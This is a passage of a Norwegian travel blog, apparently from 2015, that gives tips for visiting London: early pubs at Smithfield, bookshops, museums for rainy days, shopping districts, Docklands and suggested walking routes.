tidlig og kraftig frokost, langt unna spisesalen p\u00e5 hotellet der du bor, skal du ikke n\u00f8le. Sett deg i en taxi s\u00e5nn i firetiden p\u00e5 natten. Be om \u00e5 bli kj\u00f8rt til Smithfield og det gamle kj\u00f8ttmarkedet \u00f8st for finansstr\u00f8ket City.\n\nHer \u00e5pner fortsatt flere av pubene kl 04.00, slik de har gjort siden midt p\u00e5 1800-tallet. Her serveres m\u00f8rkt \u00f8l og frokost s\u00e5 feit at du b\u00f8r v\u00e6re sv\u00f8mmedyktig for \u00e5 kunne fiske opp p\u00f8lsene og baconskivene. Samt kaffe og te for sjeler som er blitt mer sarte enn de opprinnelige stamgjestene.  \nAtmosf\u00e6ren er unik, og myndighetene har brukt bortimot \u00e9n milliard kroner (\\!) de siste \u00e5rene p\u00e5 \u00e5 restaurere de viktorianske bygningene. V\u00e5r favorittpub i omr\u00e5det er The Bleeding Heart Tavern.\n\n**2) Bokgaten \u2013 the one and only\u00a0**  \nDu kan gjerne f\u00f8le at du er \u00e0 jour med verden fordi du alltid er bare et tastetrykk unna det ferskeste p\u00e5 bokfronten. Men bokgaten Charing Cross Road, dit du f\u00f8r i tiden dro og kom det norske markedet i forkj\u00f8pet med flere m\u00e5neder, om ikke \u00e5r, er like attraktiv n\u00e5 som f\u00f8r bokamasonene tok nettet.  \nHer kan du rote deg bort p\u00e5 enorme Foyl\u00e9s, bruke timer p\u00e5 mer str\u00f8mlinjeformede Books Etc. \u2013 hvis du ikke forsvinner for resten av dagen i spesialbokhandlene.\n\nNisjebutikkene biter seg fast i en gate der de store souvenirbutikkene st\u00e5r utenfor og presser opp leieprisene. Den st\u00f8rste trusselen mot mangfoldet i Charing Cross Road er dem som vil inn for \u00e5 selge prospektkort og nips til turistene.\n\n**3) Notting Hill \u2013 krydret tilv\u00e6relse\u00a0**  \nDet lukter alltid mat n\u00e5r du kommer inn i Books for Cooks i bydelen Notting Hill. Det er ikke noe du bare innbiller deg fordi du er omringet av de lekreste kokeb\u00f8ker.  \nLengst inne i butikken putrer det nesten alltid fra en kasserolle, i det som er kj\u00f8kkenet i Books for Cooks. Butikken ble \u00e5pnet i 1983, og id\u00e9en med kj\u00f8kkenet var \u00e5 gi liv til de etterhvert flere tusen kokeboktitlene.\n\nFlere av Londons mesterkokker frekventerer denne butikken i nummer 4 i Blenheim Crescent. Rett over gaten, i nummer 1, fins eventyrbutikken for alle som elsker krydder p\u00e5 tilv\u00e6relsen. I The Spice Shop henter b\u00e5de Nigella Lawson og Jamie Oliver r\u00e5varene sine.  \nN\u00e5r du f\u00f8rst er i Notting Hill, b\u00f8r du ogs\u00e5 ta turen innom markedet i Portobello Road, om du aldri s\u00e5 mye har v\u00e6rt der f\u00f8r. Det er dyrere enn de andre markedene i London, mer upmarket \u2013 akkurat som Notting Hill.\n\n**4) Roen i Holland Park\u00a0**  \nDu mangler ikke gr\u00f8nne muligheter i London; med sentrale Hyde Park, Green Park, St. James' Park og Kensington Gardens, veldige Regent's Park og luftige Hampstead Heath i nord, planterike Kew Gardens langt vest i byen, skogomr\u00e5det i Richmond Park i s\u00f8rvest eller Greenwich Park i \u00f8st.  \nEn liten perle \u2013 om du opererer i Notting Hill eller handlestr\u00f8ket i High Street Kensington \u2013 er Holland Park. Det ligger en utmerket kaf\u00e9 i parken, men f\u00f8rst og fremst kan du finne roen blant tamme ekorn i Holland Park mens du hilser p\u00e5 noen av de mange frittg\u00e5ende p\u00e5fuglene du treffer p\u00e5.\n\nI gatene rundt Holland Park har du lunsjmuligheter i fleng, i noen av de mer tilbaketrukne kaf\u00e9ene p\u00e5 denne kanten av byen.\n\n**5) En pint for politikken\u00a0**  \nDet fins antagelig noen tusen puber i Storbritannia som kaller seg \u00abThe Red Lion\u00bb. Men den ekte, r\u00f8de l\u00f8ven ligger i Parliament Street, og var i sin tid vannhullet for parlamentsmedlemmer og politiske journalister.\n\nI sommersesongen domineres puben av turister p\u00e5 vei mellom Downing Street og parlamentet. Men skulle du slenge innom en tidlig ettermiddag i oktober-november, eller p\u00e5 en regnv\u00e6rskveld i februar-mars, vil du kunne kjenne igjen noen Labour-fjes, et par Tory-politikere og kanskje en og annen liberal-demokrat.  \nI hvert fall om du f\u00f8lger s\u00e5nn noenlunde med i hva som r\u00f8rer seg i britisk politikk. Og gj\u00f8r du det, er The Red Lion et obligatorisk stoppested. Historien om puben kan du lese p\u00e5 veggene der inne.\n\n**6) Rule Britannia\u00a0**  \nDet var tider da folk trakk p\u00e5 skuldrene av begrepet \u00abbritisk kokkekunst\u00bb. I kosmopolitiske London har det da heller aldri budt p\u00e5 problemer \u00e5 fylle maven med n\u00e6r sagt hva som helst.\n\nUansett: Britene hadde ikke v\u00e6rt hva de vitterlig er, om de ikke hadde dyrket selv sin gastronomiske historie med \u00f8mhet. I restauranten Rules i Covent Garden (35 Maiden Lane) f\u00e5r du servert ekte britisk mat \u2013 her er et rikt utvalg av viltretter og paier \u2013 til en overkommelig pris.  \nRules er Londons eldste restaurant, og et bes\u00f8k her \u2013 eller p\u00e5 Simpsons-in-the-Strand nede p\u00e5 nordsiden av Themsen \u2013 er vel verdt et bes\u00f8k. Spesielt p\u00e5 Rules b\u00f8r du bestille i god tid.\n\n**7) Te med noe godt i\u00a0**  \nEr du i London i fotballsesongen, er mulighetene mange, selv om det kan v\u00e6re vanskelig \u00e5 fange billetter annet enn p\u00e5 svarteb\u00f8rsen p\u00e5 Premier League-arenaene.\n\nDen ekte l\u00f8rdagsf\u00f8lelsen f\u00e5r du likevel mange andre steder enn p\u00e5 Highbury og Stamford Bridge. Dra ut til koselige Griffin Park i s\u00f8rvest-London, der Brentford med sine mange hyggelige tilhengere holder hus i 2. divisjon.\n\nI sommer kan du dra til Lord's, cricketfolkets hovedkvarter. Det ligger oppe ved St. John's Wood i Nord-London. N\u00e5r du omsider har satt deg inn i reglene, er det plutselig tid for te, men du vil bli overrasket over hvor raskt det g\u00e5r \u00e5 bli sm\u00e5tt hektet.\n\n**8) Ikke bare en sp\u00f8k\u00a0**  \nEn kort togtur ut fra Waterloo, og du havner p\u00e5 kongelig oppdagelsesferd p\u00e5 mektige Hampton Court (hvis du ikke velger \u00e5 reise til Windsor, som ogs\u00e5 er en dr\u00f8y halvtime ut fra byen).  \nMens Windsor gir deg landsby og slott, f\u00e5r du landtur og palass i Hampton. Og sp\u00f8kelser p\u00e5 kj\u00f8pet, hvis du er heldig. Sp\u00f8kelsene p\u00e5 Hampton skal ha herjet i mange \u00e5r, men like f\u00f8r jul i fjor ble en person i lang k\u00e5pe fanget inn av overv\u00e5kingskameraene idet hun var i ferd med \u00e5 lukke brannd\u00f8rene. Det m\u00e5 ha v\u00e6rt Jane Seymour, en av Henry  \nVIIIs koner, tipper mange.\n\n**9) En gammel badeby\u00a0**  \nHvis du f\u00f8ler behov for \u00e5 dyppe deg i havet, b\u00f8r du unne deg en tur ut til den gamle viktorianske badebyen Southend-on-sea.  \nDu kan dra til endestasjonen Upminster p\u00e5 District Line, hoppe p\u00e5 et lokaltog derfra \u2013 og vips, s\u00e5 er du nede p\u00e5 en badestrand med Englands lengste pir, i en by fra fortiden.\n\nBlackpool, Bournemouth, Eastbourne, Brighton, her er badebyene fra 1800-tallet. Southend var Syden for arbeidsfolk i \u00d8st-London helt til det ble billigere \u00e5 dra til Tenerife. Vannet er fortsatt avkj\u00f8lende.\n\n**10) Byvandring uansett v\u00e6r\u00a0**  \nDet kan regne sidelengs, det kan bl\u00e5se kuling, du kan v\u00e6re den eneste som m\u00f8ter opp \u2013 men v\u00e6r sikker:  \nTur blir det. Byvandringene i London g\u00e5r d\u00f8gnet rundt, syv dager i uken, og du finner oversikten i blant annet ukemagasinet Time Out.  \nHer er noe for enhver smak, og kvaliteten sikres gjennom at guidene er profesjonelle skuespillere med solide historiske kunnskaper. London Walks har de beste og mest varierte byvandringene.\n\nby firstname.lastname@example.org - 27. november 2015\n\n## Hva gj\u00f8r vi en regnv\u00e6rsdag i London\n\nHva gj\u00f8r man i verdensbyen n\u00e5r skyene \u00e5pner seg? S\u00f8ker innend\u00f8rs, selvsagt. De fleste av Londons severdigheter er heldigvis under tak. Med kort vei til n\u00e6rmeste, varmende te-kanne.\n\nLondon er liksom mest seg selv n\u00e5r det plasker ned. Det er p\u00e5 en skikkelig regnv\u00e6rsdag at byens overfl\u00f8dighetshorn av attraksjoner byr seg frem: alle raritetene og \u00abhemmelighetene\u00bb som man aldri snubler over i godv\u00e6r.\n\nUansett hva som foreg\u00e5r n\u00e5r du er i London, kan du trygt sette kursen for British Museum ved Russel Square, Victoria & Albert museet p\u00e5 Knightsbridge eller Tate-galleriet: N\u00e5 er det to av dem; den britiske samlingen er i det \u00abgamle\u00bb Tate, mens den moderne, internasjonale kunsten har funnet ly i hva som er blitt et av Europas mest spennende kunsthus, det gamle kraftverket p\u00e5 bredden av Syd-Themsen. Et lite tips: Tates museumsrestauranter er utmerkede steder \u00e5 spise lunsj.\n\nHvis det p\u00f8ser, b\u00f8r kanskje neste stopp v\u00e6re James Smith & Sons i New Oxford Street, Londons mest velutstyrte paraply- forretning, med en \u00abbrolly\u00bb for alle personligheter og v\u00e6rtyper. Men flere museer venter.\n\nLondons motstykke til v\u00e5rt eget Tekniske Museum heter, naturlig nok, Science Museum. Her f\u00e5r du n\u00e6rkontakt med mange av Vestens store oppfinnelser, fra de f\u00f8rste dampmaskiner til intrikate, forbl\u00f8ffende (og vakre\\!) instrumenter og m\u00e5leapparater i messing, s\u00f8lv og mahogni \u2013 et tilbakeblikk p\u00e5 menneskets fors\u00f8k p\u00e5 fravriste universets dets lover og hemmeligheter. Museet er stadig oppdatert med inntekter fra britenes Lottospill, og er en severdighet for hele familien.\n\nTvers over Themsen finner du den nye Imax-kinoen, med Storbritannias st\u00f8rste lerret og et familievennlig repertoar p\u00e5 flere filmer, fra Afrikas savanner til utforsking av rommet. Foretrekker du sistnevnte, sett kursen for London Planetarium, hvor andre, fjernere stjerner blinker mot deg fra kuppelen. Her vises ogs\u00e5 filmopptak av rockekonserter \u2013 i megaformat. I nabobygningen finner du Madame Tussauds voksdukker, kanskje en aldri s\u00e5 liten nedtur hvis du kommer stor\u00f8yd og sansel\u00f8s fra planetariets magiske verden.\n\nMange av smugene, som Burlington Arcade, er overbygd, slik at shoppingen kan fortsette i h\u00f8ygir selv om det er lavtrykk. Men det er ikke spesielt rimelig her, og det er det heller ikke hos Berry Bros. & Rudd, som i over 300 \u00e5r har huset London en av Londons st\u00f8rste vinkjellere. Hos denne \u00e6rverdige vinhandleren har du 215.000 flasker \u00e5 velge mellom, samt Cutty Sark i alle m\u00e5l og st\u00f8rrelser, forretningens egen (og h\u00f8yst profitable) oppfinnelse.\n\nEn kort promenade unna, i The Cabinet War Rooms, har man barrikadert seg skikkelig mot regnet \u2013 langt under jorden. Men s\u00e5 regnet det ogs\u00e5 V1 raketter over London under krigen, og Winston Churchill & Co var trygge her nede, i et interi\u00f8r beholdt slik det var under Blitz'en, og hvor man slett ikke trenger mye fantasi for \u00e5 oppleve krigens, og Storbritannias, mest dramatiske \u00f8yeblikk.\n\nMer action? Ta undergrunnsbanen til The Imperial War Museum, der de livaktige multimedia-utstillingene f\u00e5r deg til \u00e5 f\u00f8le krigens redsler inn p\u00e5 kroppen der du t\u00f8rrskodd beveger deg fra den f\u00f8rste verdenskrigs skyttergraver til blitz-bombingens redsler for s\u00e5 \u00e5 f\u00e5 innvollene kraftig rystet under et skrekkinnjagende bombetokt over fiendtlige linjer.\n\nFengslende er det ogs\u00e5, hvis det fremdeles regner, \u00e5 finne en tilskuerplass i Old Bailey, den gamle rettsalen der s\u00e5 mange lovbrytere har f\u00e5tt sine d\u00f8dsdommer opplest. Og stadig vekk f\u00f8res dagens mer eller mindre lyssky elementer foran parykkledde dommere \u2013 hverdagsdramaer vel s\u00e5 spennende som det du finner p\u00e5 West Ends scener.\n\nEtter alt dette (skal dette regnet aldri holde opp?) trenger man kanskje slappe av med litt god, klassisk musikk. Det finner du flere ettermiddager i uken i Trafalgar Squares stemningsfulle kirke St Martin in-the-Fields, der Englands toppmusikere \u00f8ver til kveldens \u00abmusic by candlelight.\u00bb Stemning er det ogs\u00e5 i kjelleren, The Crypt, der en liten kaf\u00e9 venter, og en artig bokhandel.\n\nMen \u00f8nsker du virkelig \u00e5 fortape deg i b\u00f8ker, m\u00e5 du noen kvartaler vestover. For n\u00e5 har Charing Cross' ber\u00f8mte Foyles' boklade f\u00e5tt alvorlig konkurranse fra Watersones nye flaggskip midt p\u00e5 Piccadilly-gaten \u2013 en bokelskers dr\u00f8m i seks etasjer inkludert kafeer, barer og en god restaurant. Utmerket er ogs\u00e5 Dillon-bokhandelen ved Russel Square, eller den for reiseglade uunv\u00e6rlige Stanfords i Sohos Long Acre, bugnende av guideb\u00f8ker, kart, oppslagsverk og reiseskildringer fra alle verdenshj\u00f8rner.\n\nMen vi har helt glemt \u00e5 drikke te. Nytrukket te og regntunge scones med syltet\u00f8y og krem. Den inntar propre briter p\u00e5 Ritz eller Savoy, omgitt av sosietetsdamer og tjenende \u00e5nder. Pen i t\u00f8yet m\u00e5 man v\u00e6re skal man drikke te her. Er du mer uv\u00f8rent kledd, ikke fortvil, for b\u00e5de atmosf\u00e6ren og teen er vel s\u00e5 oppkvikkende i restauranten Criterion p\u00e5 Piccadilly, eller i toppetasjen til gourmetparadiset Fortnum & Mason.\n\nDet sildrer stadig?  \nP\u00e5 tide \u00e5 se seg om etter noen teaterbilletter for kvelden eller for en matineeforestilling.. Billettkiosken p\u00e5 Leicester Square selger billetter for halv pris. Men hold deg unna det nye Globe-teatret, der Shakespeares klassikere oppf\u00f8res i en bygning som er en trokopi av den opprinnelige. Ihvertfall n\u00e5r det regner, for teatret er uten tak, og de med st\u00e5plass er sterkt utsatt for v\u00e6rgudenes luner. Og hvis alt er utsolgt, skaff deg ukens eksemplar av Time Out, finn deg nok en pub, la sidene blafre mens du lider valgets kval over det ufattelige underholdningstilbud som London byr p\u00e5 hver eneste dag i \u00e5ret. Regn eller ikke regn.\n\nby email@example.com - 27. november 2015\n\n## Forslag til ulike turer i London\n\nHeller ikke markeder som\u00a0**Camden Market og Portobello Road Market**\u00a0b\u00f8r forbig\u00e5s. I Camden Town, kan du kj\u00f8pe alt fra 60-tallsm\u00f8bler og milit\u00e6rkl\u00e6r til rare smykker og kald \u00f8l. Dessverre st\u00e5r det britiske pundet sterk om dagen, noe som ikke gj\u00f8r London like attraktiv som bare f\u00e5 \u00e5r siden.  \nOm du vil, kan du vie en hel uke p\u00e5 ber\u00f8mte severdigheter som f.eks. The Tower, Big Ben, Buckingham Palace, Trafalgar Square og St Pauls Cathedral.\n\nOgs\u00e5 Londons gallerier og museer er verdt en reise i seg selv, selv om du allerede har bes\u00f8kt Madame Tussauds vokskabinett, British Museum og kunstelskernes Tate Gallery. Museum of the Moving Image, Serpentine Gallery og Saatchi Collection er tre hete tips blant de moderne.\n\nHva sier du til en rolig ballongferd over Tower Bridge eller et bes\u00f8k p\u00e5 \u00abMillennium Dome\u00bb hvor et karneval med flyvende akrobater gj\u00f8r entr\u00e8. Rundt 7000 puber og mengder av restauranter med mat fra alle verdenshj\u00f8rner st\u00e5r klare til \u00e5 gi deg nye krefter f\u00f8r kveldens gj\u00f8rem\u00e5l. De verdensber\u00f8mte teatrene i West-End og Londons legendariske rock- og jazzklubber venter p\u00e5 deg.  \nHar du ikke planlagt noe spesielt, kan du jo bare streife rundt i denne verdensmetropolen og suge inn atmosf\u00e6ren, kjenne varmen og vennligheten som m\u00f8ter deg overalt. Ta ogs\u00e5 en kj\u00f8retur i de karakteristiske taxiene og de r\u00f8de, toetasjers bussene, eller vandre i Hyde Park og lytte til talene ved Speakers Corner.\n\nMange s\u00e5kalte \u00ablandsbyer\u00bb er blitt slukt opp av storbyen, men disse trivelige lokalsamfunn har klart \u00e5 beholde mye av sin sjarm og identitet. Unn deg selv noen timer fri fra shopping, museumsbes\u00f8k og travle gater. Steder som Greenwich Village, Richmond, Islington, Hampstead og Kew ligger alle knappe 30 minutter fra London sentrum.\n\nAllerede ved ankomst p\u00e5 Greenwich Pier, fornemmer man den maritime atmosf\u00e6ren. I t\u00f8rrdokk p\u00e5 havnen hilses vi velkommen av \u00e6rverdige \u00abCutty Sark\u00bb og beveger vi oss inn i \u00abThe Village\u00bb. Her finner vi flere forretninger med maritimt utstyr av b\u00e5de gammel og ny dato. \u00abThe Royal Observatory\u00bb er ogs\u00e5 noe en b\u00f8r f\u00e5 med seg i Greenwich. Fra Westminster, Charing Cross eller London Bridge, g\u00e5r det b\u00e5ter ut til Greenwich Pier.  \nVelger du \u00e5 ta turen ut til Hampstead, er det ogs\u00e5 nok av fristelser. Her ligger det uts\u00f8kte gallerier med billedkunst, skulpturer, smykker, glass og trendy caf\u00e8er p\u00e5 rekke og rad. R\u00f8de, georgianske mursteinshus, gamle kirker, skyggefulle gravlunder, parker og torg, terrasser og bratte smug. Alt dette gj\u00f8r Hampstead til en annen verden, i en annen tid.\n\nVandrer du rundt i London anbefaler vi ogs\u00e5 at du rusler ned til Covent Garden, Londons gamle blomstermarked. Ingen vet hva man vil oppleve i Covent Garden f\u00f8r man er der. En ting er i hvert fall sikkert, det blir handel og vandel og mye hygge. Ta deg en kopp kaffe eller et glass \u00f8l, lytt til gatemusikantene og f\u00e5 med deg et gj\u00f8glershow med halsbrekkende og g\u00f8yale vendinger.  \nRusler du inn under glasstaket i de store hallene, finner du spennende markedsboder og andre spennende butikker. Med andre ord, London har f\u00e5 storbykonkurrenter i verden, og vi kan ikke annet enn \u00e5 \u00f8nsker deg god reise.\n\nCanterbury er en by i Kent, liggende 90 km s\u00f8r\u00f8st for London. Canterbury er en av Englands eldste og mest interessante byer og sete for den engelske kirkes primas, erkebiskopen av Canterbury, som riktignok mest residerer i London.\n\nyens stolthet er uten tvil den ber\u00f8mte katedralen. Denne domkirken ble bygget i perioden mellom 1000- og 1400-tallet og ble startet i romers stil og avsluttet i gotisk stil. Canterbury var alt i romertiden en betydelig by og var senere hovedstad i Kent, da under navnet Cantwaraburh. Dette er kanskje den vakreste katedral i hele England. Selv om katedralen er reist i ulike stilarter, har sluttresultatet blitt til en av verdens mektigste byggverk.\n\nEn annen kjent episode som setter Canterbury katedralen p\u00e5 kartet, er drapet p\u00e5 erkebiskop Thomas Becket i 1170, noe som f\u00f8rte til at Canterbury ble et sted folk valfartet. Byen ble sterkt skadd ved tyske bombeangrep under den annen verdenskrig, s\u00e5 den gamle bydelen er delvis rekonstruert etter krigen. Selv om byen er et meget popul\u00e6rt valfartsted, har mange reagert p\u00e5 at man n\u00e5 er begynt \u00e5 ta betaling for \u00e5 entre katedralen.\n\n**Covent Garden/Soho/Bloomsbury**  \nI omr\u00e5det rundt Piccadilly Circus og Covent Garden hersker det hektisk aktivitet fra morgen til kveld. Det er de elegante butikkene p\u00e5 The Strand, Oxford Street med sine mange forretninger og fortaurestaurantene som setter stemningen om dagen. Om kvelden er det teatrene som trekker til seg mennesker som liker musikaler, opera og klassisk musikk. Om natten kan Soho by p\u00e5 en mengde restauranter, barer og sexshops.\n\n**Liberty, 214 Regent Street.**  \nDette merket er ber\u00f8mt over hele verden for sine stoffer og for en butikk som holder p\u00e5 sin referanse for unge moteskaperes kl\u00e6r.\n\n**Hamleys, 188-196 Regent Street.**  \nTusenvis av leker og spill. 7 etasjer til \u00e5 more seg i, og visninger og muligheter for \u00e5 pr\u00f8ve lekene i alle avdelingene.\n\n**City/St.Paul**  \nCity er sp\u00f8kelsesaktig i helgene, men i uken n\u00e5r finansverden er \u00e5pen v\u00e5kner str\u00f8ket til liv. Dette er ikke stedet du gj\u00f8r uforglemmelige kj\u00f8p. Labyrinten av sm\u00e5 gater skjuler mane overraskelser. Moderne bygninger ligger side om side med gamle puber, h\u00f8yverdige bygg og n\u00e6rmere f\u00f8rti kirker. Hvis gentlemen enn\u00e5 finnes, er sjansen for \u00e5 se en st\u00f8rst i dette omr\u00e5det.\n\nI dette omr\u00e5det finner du b\u00e5de St.Pauls Cathedral og Tower Of London. begge deler er absolutt verd ett bes\u00f8k. I St.Paul er sjansen stor for at du blir vitne til en messe, eller korguttenes \u00f8velse. Bes\u00f8ker du Tower b\u00f8r du sette av noen timer. Her f\u00e5r du ett innblikk i landets blodige historie med bla. Henrik den 8.\n\nA Stiff Drink & A Close Shave, 8-10 Brusfield Street.  \nButikken for deg som ikke liker \u00e5 l\u00f8pe fra butikk til butikk. Her finner du tre etasjer med kvalitetsmote for menn med s\u00e6rpreg. her kan du kle deg opp fra topp til t\u00e5.\n\n**Southwalk/Tower Bridge**  \nStr\u00f8ket var lenge sentrum for bordeller, vertshus og teater. Siden \u00e5pningen av Design Museum i 1989 og Tate Modern i 2000 har omr\u00e5det f\u00e5tt en ansiktsl\u00f8fting. Mellom dem ligger den vakre promenadegaten Queens Walk der de velst\u00e5ende har valgt \u00e5 sl\u00e5 seg ned.  \nDesverre er dette en del av byen jeg ikke har tilbragt s\u00e6rlig tid i, og har desverre ikke mange r\u00e5d \u00e5 komme med.\n\n**Mayfair/Marylebone**  \nMayfair g\u00e5r for \u00e5 v\u00e6re Londons mest fasjonable str\u00f8k. I Marylbone i nord er det mer livlig, pessielt rundt Marylebone High Street. I dette omr\u00e5det finner du b\u00e5de Madame Tussaud og Sherlock Holms Museum.\n\n**Hard Rock Cafe.**  \nLigger helt nede mot Park Lane Street; rett ovenfor Achilles Statue i hj\u00f8rnet av Hyde Park.  \nT-bane: Hyde Park Corner\n\n**Madame Tussauds Museum.**  \nMarylbone Road NW1.  \nT-bane: Baker Street  \nN\u00e5r du kommer opp fra T-banen, tar du rett til vesntre. Da ser du museet rett fram.  \nDette museet er ett must for alle som bes\u00f8ker byen for f\u00f8rste gang. V\u00e6r oppmerksom p\u00e5 at det kan v\u00e6re flere timer lange k\u00f8er her i sommerhalv\u00e5ret. Bestill billetter p\u00e5 forh\u00e5nd. Da g\u00e5r du forbi k\u00f8en. Kan bestilles p\u00e5 internett eller via Ticketservice i Oslo.\n\n**Sherlock Holms Museum**  \n221 Baker Street  \nT-bane: Baker Street  \nN\u00e5r du f\u00f8rst er p\u00e5 disse kanter b\u00f8r du f\u00e5 med deg Sherlock Holms museet. N\u00e5r du kommer opp fra Baker Street undergrunn, svinger du til h\u00f8yre oppover Baker Street.  \nUtenfor Baker Street stasjon finner du ofte en utkledd Sherlock Holms som viser vei.\n\nP\u00e5 turen opp Baker Street passerer du ogs\u00e5\u00a0**Beatles Store**. her kan du kompletere din Beatles samling med rariteter og CDer.\n\nI dette omr\u00e5det finner du ogs\u00e5\u00a0**Selfridges i Oxford Stree**t, og\u00a0**HMW**\u00a0sin stor butikk i musikk og DVD. HMW ligger i krysset Oxford Street/South Molton Street. Kommer du opp fra Bond Street stasjon ser du HMW rett over gaten.\n\nEr du ute etter herrekl\u00e6r finner du designerbutikker nedover South Molton Street og forlengelsen av denne gaten, Avery Road. Men prisene er stive.\n\n**Chelsea/South Kensington/Belgravia**  \nEn spasertur i elegante og fasjonable kulisser. Fra de prestisjetunge museene i South Kensington kan du g\u00e5 til luksusartiklenes sentrum: Harrods og Sloane Street.\n\n**Harrods**  \n87-135 Brompton Road.  \nT-bane: Knightsbridge  \nEndelig har jeg bes\u00f8kt Harrods. P\u00e5 min 7. tur til London, beveget jeg meg inn i denne h\u00f8yborgen. Harrods er en legende som ikke kan beskrives. La det v\u00e6re klart, dette er ett kj\u00f8pesenter, men av det mest eksklusive slaget verden har sett. Ikke pr\u00f8v \u00e5 kj\u00f8p noe her, du ruineres. Men benytt anledningen til \u00e5 titte rundt og beveg deg gjerne oppover i etasjene til Food Halls som er viet matvareprodukter. De er ett syn\\!  \nHer vil du sannsynligvis treffe p\u00e5 b\u00e5de kjendiser og rike arabiske koner, som har Rolls Roysen med privatsj\u00e5f\u00f8ren st\u00e5ende ute \u00e5 vente.\n\n**Christies**  \n85 Old Brompton Road  \nT-bane: Knightsbridge  \nEn enest\u00e5ende mulighet til \u00e5 bes\u00f8ke det ber\u00f8mte auksjonshuset. her selges gjenstander til rimelige priser.\n\n**Harvey Nicholas**  \nKnightsbridge  \nT-bane: Knightsbridge  \nDet mest elegante stormagasin i London. Det utkonkurrrerer Harrods n\u00e5r det gjelder kolleksjoner av kjente merker. En mye bes\u00f8kt Sushibar i 6.etasje.\n\n**Kensington/Notting Hill**  \nKensinton var et feriested allerede f\u00f8r Kensington Palace ble kongelig residens i 1689. Nord i Notting Hill Gate er tilstr\u00f8mningen av unge fremadstormende og ber\u00f8mtheter enorm. Prisene p\u00e5 boliger har g\u00e5tt rett opp, og omr\u00e5det har ikke lenger ryktet p\u00e5 seg som getto.\n\n**Portobello Road Market**  \nHver dag i Notting Hill, men best p\u00e5 l\u00f8rdager. Men v\u00e6r tidlig ute (se mer under Markeder)\n\nI dette omr\u00e5det finner du ogs\u00e5 Bayswater, hvor de fleste turisthoteller befinner seg. her ligger hotellene p\u00e5 rad og rekke. Disse brukes av de fleste norske turoperat\u00f8rer.\n\n**Urban Outfitters**  \n36-38 Kensington High Street  \nT-bane: High Street Kensington  \nEt organisert rot av motekl\u00e6r, tilbeh\u00f8r, ting til huset, kort og blader. Og selvf\u00f8lgelig en bar. En kollosal forretning som er vel verd ett bes\u00f8k\n\n**Paul Smith**  \nWestbourne House  \n122 Kensington Park Road  \nT-bane: Notting Hill Gate  \nPraktfull butikk med dame-, herre- og barnekl\u00e6r til stjernene i engelsk herremote. Et must.\n\n**Docklands.**  \nIkke engang durkdrevne Londonbes\u00f8kende vet noe s\u00e6rlig om \u00d8st-London og Docklands. Unn deg en sightseeing-togtur gjennom Jappe-London nye, fasjonable glass- og skyskraperbydel. For \u00e5 f\u00e5 den maksimale utbytte b\u00f8r du bruke Dockland Light Rail. F\u00f8rerl\u00f8st tog som g\u00e5r p\u00e5 betongstylter mellom glass- og st\u00e5lh\u00f8yhusene. Tidligere var dette Londons slum, men framst\u00e5r i dag som Europas st\u00f8rste byfornyelse i moderne tid. Du kan benytte ditt vanlige Travelcard for sone 1 og 2.  \nSelv tok jeg Jubilee Line fra Willesden Green til Westminster. Gikk over til District Line og tok denne til Tower Hill. Herfra f\u00f8lges skiltene til Tower Gateway Dockland Light Railway. P\u00e5 denne spaserturen ser du Tower Hill p\u00e5 din h\u00f8yre side, og det g\u00e5r en tunnel under veien direkte ned til Tower Hill hvis du vil ta med dette p\u00e5 samme turen.  \nJeg tok toget til Cutty Shark station. her kan du beskue den gamle skuta, vandre en tur i Greenwich parken og beskue Greenwich Mean Time. P\u00e5 turen ned hit kj\u00f8res du i god h\u00f8yde over bakken, og f\u00e5r sett de nye husene.  \nP\u00e5 tilbaketuren til jeg toget til Canary Whart. Denne stasjonen ligger inne i ett kjempemessig kj\u00f8pesenter. Herfra er den bare en kort spasertur over til T-banen som du kan ta direkte tilbake til Willesden Green.\n\n**Sentrumstur**  \nJubilee Line ned til Bond Street. Vandret ned South Molen Street for \u00e5 se p\u00e5 herremoter. Her finner du bla. Brown Labels i 50 South Molton Street som selger designerkl\u00e6r til reduserte priser. Videre ned i Avery Row hvor du i nr 23 finner Paul Smith som ogs\u00e5 selger designerkl\u00e6r. Selv om kl\u00e6rne er betydelig redusert i pris, m\u00e5 du regne med \u00e5 betale 100 pund for en skjorte.  \nG\u00e5r videre til Oxford Circus og inn i Regent Street mot Piccadilly Circus. Nedover denne gaten finner du endel eksklusive forretninger. her finner du bla. leket\u00f8ysforretninge Hamleys og Disney Store. N\u00e5r du er nesten helt nede ved Picadilly Circus vil du p\u00e5 h\u00f8yre side av vegen i 79-88 Regent Street finne Cafe Connect. Stikk en tur innom her for en kaffe og noen praktfulle kaker.  \nI dette omr\u00e5det finner du ogs\u00e5 mange forretninger som selger kl\u00e6r i Kasmirull.  \nEr du f\u00f8rst ved Eros statuen p\u00e5 Picadilly Circus, er ikke turen lang til en runde i Chinatown.  \nVed Picadilly Circus finner du ogs\u00e5 Hollywood Planet og Trocadero Senter.\n\nP\u00e5 Trocadero finner du bla en gedigen kino med 8 saler. Her g\u00e5r filmer hele dagen. Her er ogs\u00e5 en Imax-kino.\n\n**Science Museum**  \nDette museet er vel verd ett bes\u00f8k. Inngangen er gratis, men det er ofte spessialutstillinger som er gratis. Her er ogs\u00e5 en Imax-kino, men her m\u00e5 du betale. Museet er en dr\u00f8mmeverden b\u00e5de for store og sm\u00e5. Her finner du bilens historie, romfartshistorie, flyhistorie med kollosale gjenstander.  \nMuseet ligger i Exhibition Toad, rett til vesntre n\u00e5r du kommer ut av T-banestasjonen South Kensington.\n\n\u00a0\n\nby firstname.lastname@example.org - 27. november 2015\n\n## Kombineer ulike attraksjoner i London\n\nG\u00e5 av p\u00e5**\u00a0Baker Street tube**. Her har du\u00a0**Madame Tussauds**. G\u00e5 nordover til Regent Park,\u00a0**the Zoo**, s\u00e5 opp Primrose Hill til Chalk Farm, eller snarvei gjennom Primrose gate ved Zoo og langs kanalen til Camden Lock. N\u00e5 er du p\u00e5\u00a0**Camden Market**\u00a0ved Camden Town Tube. Turen tar 4-5 timer.\n\nFreemasons Temple p\u00e5 Great Queen Street, 10 min fra undergrunnen,\u00a0**Covent Market, Transport Museum**, backstage tour\u00a0**Theatre Royal Drury Lane**\u00a0p\u00e5 baksiden av Transport Museum. G\u00e5 10 min. til Strand, H\u00f8yesterettsbygningen. Du sirkler rundt Covent Garden tube. Beregn 3 timer.\n\n**Tottenham Cour Road Tube**, 10 min gange til\u00a0**British Museum**. 10 min gange s\u00f8rover til\u00a0**Sir John Soane Museum**\u00a0i Lincolns inn Fields. G\u00e5 10 min til\u00a0**Courtauld Gallery, Somerset House & Galleries**, Charing Cross/Strand. Normalt 3-4 timer, avhengig av hvor lang tid du 